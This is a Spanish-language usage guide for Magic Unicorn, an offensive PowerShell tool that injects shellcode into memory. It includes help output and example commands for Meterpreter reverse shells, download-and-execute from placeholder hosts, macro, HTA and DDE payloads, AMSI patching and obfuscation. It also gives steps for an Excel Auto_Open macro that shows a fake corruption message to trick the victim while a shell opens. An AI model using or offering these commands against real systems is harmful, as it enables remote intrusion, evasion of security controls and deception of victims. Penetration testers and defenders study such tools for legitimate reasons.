
Unicorn es una herramienta simple para utilizar un ataque de degradación de PowerShell e inyectar shellcode directamente en memoria. Basado en los ataques PowerShell de Matthew Graeber y la técnica de omisión de PowerShell presentada por David Kennedy (TrustedSec) y Josh Kelly en Defcon 18.
Escrito por: Dave Kennedy (@HackingDave) Sitio web: https://www.trustedsec.com
Magic Unicorn es una herramienta sencilla para utilizar un ataque de degradación de PowerShell e inyectar shellcode directamente en memoria. Basada en los ataques de PowerShell de Matthew Graeber y en la técnica de bypass de PowerShell presentada por David Kennedy (TrustedSec) y Josh Kelly en Defcon 18.
Su uso es sencillo, basta con ejecutar Magic Unicorn (asegúrese de que Metasploit esté instalado si utiliza los métodos de Metasploit y en la ruta correcta) y magic unicorn generará automáticamente un comando de PowerShell que solo necesita copiar y pegar en una ventana de línea de comandos o a través de un sistema de entrega de payloads. Unicorn es compatible con su propio shellcode, cobalt strike y Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Unicorn ahora emite un único comando hijo de PowerShell. Con --amsi inline, el parche de AMSI y el cargador de shellcode
se ejecutan en ese mismo proceso hijo. Con --amsi off, Unicorn omite la etapa de AMSI.
Use --profile cmd para un contexto de comando de 8191 caracteres. Use --profile powershell para un
contexto de 32767 caracteres. Unicorn rechaza una salida que exceda el límite seleccionado.
Use --arch x86 o --arch x64 para seleccionar la arquitectura del proceso hijo de PowerShell. Proporcione shellcode que
coincida con esa arquitectura. El valor predeterminado es x86.
Use --obfuscation minimal|moderate|high para seleccionar una variante acotada que preserva la semántica. El
manifiesto registra las transformaciones exactas utilizadas.
Use --seed <value> para reproducir una variante generada. Cada ejecución escribe unicorn_manifest.json con la
semilla, la arquitectura, el modo de AMSI, las longitudes de los comandos, las API y el SHA-256 del shellcode de origen.
La variante del cargador usa un bucle de copia de bytes con memset o Marshal.Copy; la API seleccionada se registra
en el manifiesto.
Para los ataques con shellcode, el manifiesto también registra el perfil de ofuscación seleccionado y sus
transformaciones.
Todo se genera ahora en powershell_attack.txt, unicorn.rc cuando se usa Metasploit, y
unicorn_manifest.json. El archivo de texto contiene el código necesario para inyectar el ataque de PowerShell en
memoria. Necesita un lugar que admita la ejecución remota de comandos. Use --profile cmd para un contexto de comando de 8191 caracteres.
Este ataque también admite windows/download_exec. Al usar download and execute, ejecute
python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe.
Tenga en cuenta que necesitará tener un listener habilitado para capturar el ataque.
Para el ataque de macro, deberá ir a Archivo, Propiedades, Cintas y seleccionar Desarrollador. Una vez que haga eso, tendrá una pestaña de desarrollador. Cree una nueva macro, llámela Auto_Open y pegue el código generado en ella. Esto se ejecutará automáticamente. Tenga en cuenta que aparecerá un mensaje al usuario indicando que el archivo está dañado y cerrando automáticamente el documento de Excel. ¡ESTO ES UN COMPORTAMIENTO NORMAL! Esto está engañando a la víctima para que piense que el documento de Excel está dañado. Debería obtener una shell mediante la inyección de PowerShell después de eso.
Si está implementando esto contra versiones de Word de Office365/2016+, necesita modificar la primera línea de la salida de: Sub Auto_Open()
A: Sub AutoOpen()
El nombre de la macro en sí también debe ser "AutoOpen" en lugar del esquema de nombres heredado "Auto_Open".
¡NOTA: AL COPIAR Y PEGAR EL EXCEL, SI HAY ESPACIOS ADICIONALES QUE SE AGREGAN, DEBE ELIMINARLOS DESPUÉS DE CADA UNA DE LAS SECCIONES DE CÓDIGO POWERSHELL BAJO LA VARIABLE "x" O SE PRODUCIRÁ UN ERROR DE SINTAXIS!